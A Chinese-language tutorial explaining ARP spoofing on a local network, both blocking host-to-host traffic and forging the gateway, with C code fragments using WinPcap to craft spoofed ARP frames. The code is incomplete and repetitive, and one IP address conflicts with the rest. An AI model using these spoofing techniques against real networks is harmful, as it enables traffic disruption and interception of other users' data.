局域网 ARP 攻击

1、ARP 攻击原理

ARP 攻击分为二种，一种是阻断以太网两台主机通信的数据包；另一种是对内网 PC 的网关欺骗，使被欺骗 PC 不能联网。

第一种 ARP 攻击的原理是——阻断主机间通信数据。攻击机首先得获得通信主机 IP 地址，然后将伪造的 MAC 地址封装进数据包，回复给源主机，并且按照一定的频率不断进行，使真实的地址信息无法通过更新保存在源主机中。这样，源主机只会将数据包发给伪造的 MAC 地址，造成正常 PC 无法收到信息。

第二种 ARP 攻击的原理是——伪造网关。它的原理是建立假网关，让被它欺骗的 PC 向假网关发数据，而不是通过正常的路由器途径上网。

1.1 阻断主机间通信

局域网内，一个交换机连接了 3 台机器，假设依次是计算机 A，B，C。

A的IP地址为192.168.1.1	MAC： AA-AA-AA-AA-AA-AA
B的IP地址为192.168.1.2	MAC: BB-BB-BB-BB-BB-BB
C的IP地址为192.168.1.3	MAC: CC-CC-CC-CC-CC-CC

假设主机 A 要给 C 发送数据，且主机 A 的 arp 缓存表中有主机 C 的 IP-MAC 映射表，主机 B 为攻击机。正常情况下在 A 计算机上运行 arp –a 查询 ARP 缓存表应该出现如下信息：

接口	192.168.1.1	0xc
Internet 地址	物理地址	类型
192.168.1.3	CC-CC-CC-CC-CC-CC	动态

在计算机 B 上运行 ARP 攻击程序，来发送 ARP 欺骗包。B 向 A 发送一个自己伪造的 ARP 应答，而这个应答中的数据为发送方 IP 地址是 192.168.10.3（C

的 IP 地址），MAC 地址是 DD-DD-DD-DD-DD-DD（C 的 MAC 地址本来应该是 CC-CC-CC-CC-CC-CC，这里被伪造了）。当 A 接收到 B 伪造的 ARP 应答，就会更新本地的 ARP 缓存（A 不知道被伪造了）。而且 A 不知道其实是从 B 发送过来的，A 这里只有 192.168.10.3（C 的 IP 地址）和无效的 DD-DD-DD-DD-DD-DDMAC 地址。

欺骗完毕我们在 A 计算机上运行 arp -a 来查询 ARP 缓存信息，原来正确的信息现在已经出现了错误。

接口	192.168.1.1	0xc
Internet 地址	物理地址	类型
192.168.1.3	DD-DD-DD-DD-DD-DD	动态

上面例子中在计算机 A 上的关于计算机 C 的 MAC 地址已经错误了，所以即使以后从 A 计算机访问 C 计算机这个 192.168.1.3 这个地址也会被 ARP 协议错误的解析成 MAC 地址为 DD-DD-DD-DD-DD-DD 的，造成两个主机不能进行通信。

1.2 **伪造网关**

当局域网中一台机器，反复向其他机器，特别是向网关，发送这样无效假冒的 ARP 应答信息包时，严重的网络堵塞就会开始。由于网关 MAC 地址错误，所以从网络中计算机发来的数据无法正常发到网关，自然无法正常上网。这就造成了无法访问外网的问题，另外由于很多时候网关还控制着我们的局域网 LAN 上网，所以这时我们的 LAN 访问也就出现问题了。

2、ARP 攻击程序

平时基于 Socket 的网络编程，底层的数据帧格式对于用户来说是透明的，若想进行底层网络协议开发，需要自己指定帧数据内容。基于捕获网络数据包并进行分析的开源库 WinPcap，在 Windows 平台上，进行以下任务：捕获原始数

据包；在数据包发送给某应用程序前，根据用户指定的规则过滤数据包；将原始数据包通过网络发送出去。

2.1 **阻断主机间通信**

下载和 WinPcap 相关的开发包 WpdPack，安装 WinPcap.exe。C-Free 开发环境下，需要导入 WpdPack 解压目录下的 include 和 lib 目录，加入连接库 wpcap.lib 和 packet.lib。不过调试了半天总是出现 ld.exe 下找不到 wpcap.lib 和 packet.lib 的问题，故直接将 lib 文件导入工程文件下的 Source File 文件中，同时将 WpdPack 的 include 和 lib 目录复制到 C-Free 的安装目录 mingw 文件夹下的 lib 和 include 目录下。

阻断主机间通信的 ARP 攻击步骤为获取设备列表-选择合适适配器-打开适配器-填写数据帧，并发送数据包。

Ø 获取设备列表

假设攻击机为主机 B，所有操作均在主机 B 上进行。获取设备列表即获取 B 上可以使用的网络适配器，因为所有的数据都是通过它发送的。可以使用 pcap_findalldevs()函数来实现这个功能：这个函数返回一个 pacp_if()结构的链表，其内容包括适配器的名字 name 和详细描述 descrition 等信息。其有两个参数，alldevs 保存返回的网络适配器的信息, errbuf 以字符串的形式保存错误信息。

```
/* 获得设备列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
```

```
/* 打印列表 */
for(d= alldevs; d != NULL; d= d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);//打印所有适配器的详细信息
else
printf(" (No description available)\n");
}
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap isinstalled.\n");
return 0;
}
```

试过之后，在这里选择第一个适配器，因为只有第一个可以捕获数据。

Ø 打开适配器

打开适配器以便进行数据包传送。用到 pcap_open_live(a,b,c,d)函数，a 表示适配器名字，可通过获取设备列表函数获得，b 为捕获数据包中的数据长度，最大 MTU 为 1500，在以太网上只要比它大就行，这里设置为 65535，意为能捕捉到完整数据包。

```
printf("Enterthe interface number (1-%d):",i);
scanf("%d", &inum);
/* 跳转到选中的适配器 */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* 打开适配器 */
if ( (adhandle= pcap_open_live(d->name, 65535,1, 1000,errbuf ) )== NULL)
```

{

fprintf(stderr,"\nUnable to open the adapter. %s is notsupported by WinPcap\n", d->name);

/* 释放设备列表 */

pcap_freealldevs(alldevs);

return -1;

}

Ø 填写数据帧，发送数据包

ARP 分组格式长度 42 字节，以太网最小长度要求为 60 字节，故需要对每一数据帧末尾填充字符。ARP 分组如下格式所示：

以太网目的地址/6	以太网源地址/6	帧类型/2	硬件类型/2	协议类型/2	硬件地址长度/1	协议地址长度/1	Op/2	发送端以太网地址/6	发送端IP地址/4	目的以太网地址/6	目的IP地址4

主机 A 想和 C 进行通信，但没有 C 的 ARP 缓存表。故先进行全网广播，想找目的 IP 地址为 C 的 MAC 地址，关键 ARP 分组数据为：

以太网目的地址：111111（全 1 表示广播）

op 设置为 1，表示 ARP 请求

目的 IP 地址：广播 ip 地址，192.168.1.255

其余按 TCP/IP 详解（卷 1）来设置，最后要在数据包 43～60 位填充 0。

packet[6]=0x0e;

packet[7]=0x07;

packet[8]=0X62;

packet[9]=0x00;

packet[10]=0X01;

packet[11]=0x12;

/* 帧类型，0806 表示 ARP 协议 */

packet[12]=0x08;

packet[13]=0x06;

B 和 C 接收到广播数据后，进行 IP 地址比对，B 直接忽略，C 回复将自己的 MAC 地址填充进去，将发送端地址设置为 C，目的地址设置为 A，op 值设置为 2，表示 ARP 请求回复。op 值为 2 时，前 12 个字节等于分组后面的目的以太网、目的 IP 地址。

```
u_char packet[60];
printf("输入被攻击方的 MAC 地址（如 FF-FF-FF-FF-FF-FF 则为广播）\n");
scanf("%2x-%2x-%2x-%2x-%2x-%2x",&packet[0],&packet[1],&packet[2],&packet[3],&packet[4],&packet[5]);
/* 以太网源地址，当然是假的 */
packet[6]=0x0e;
packet[7]=0x07;
packet[8]=0X62;
packet[9]=0x00;
packet[10]=0X01;
packet[11]=0x12;
/* 帧类型，0806 表示 ARP 协议 */
packet[12]=0x08;
packet[13]=0x06;
```

在主机 A 执行 arp –a 后，会显示 C 的 ip 和 mac 地址。

主机 B 攻击主机 A，将发送端以太网地址设置为 DD-DD-DD-DD-DD-DD，发送端 IP 地址为主机 C 的 IP 地址，目的以太网地址和目的 IP 地址设置为 A 的，帧类型设置为 2，表示 ARP 请求回复。

```
packet[6]=0x0e;
packet[7]=0x07;
packet[8]=0X62;
```

```
packet[9]=0x00;
packet[10]=0X01;
packet[11]=0x12;
/* 帧类型，0806 表示 ARP 协议 */
packet[12]=0x08;
packet[13]=0x06;
```

当 A 收到 B 的数据包后，会更新 ARP 表；在主机 A 输入 arp -a 后，主机 A 的 ARP 表进行更新，显然是错误信息。由于局域网是利用 MAC 地址进行数据传输，故主机 A 查询 arp 表后，只会把数据传给 MAC 地址为 DD-DD-DD-DD-DD-DD 的主机，显然无法正常传输。当把 MAC 地址改为 B 的后，数据会传到 B 这里来，而 A 认为是一直再给 C 传。

2.2 伪造网关

和阻断主机间通信一样，若目的 IP 改为网关 IP 地址，目的 MAC 地址改为 B 的，这样主机 A 一直给 B 发送数据，显然上不去网。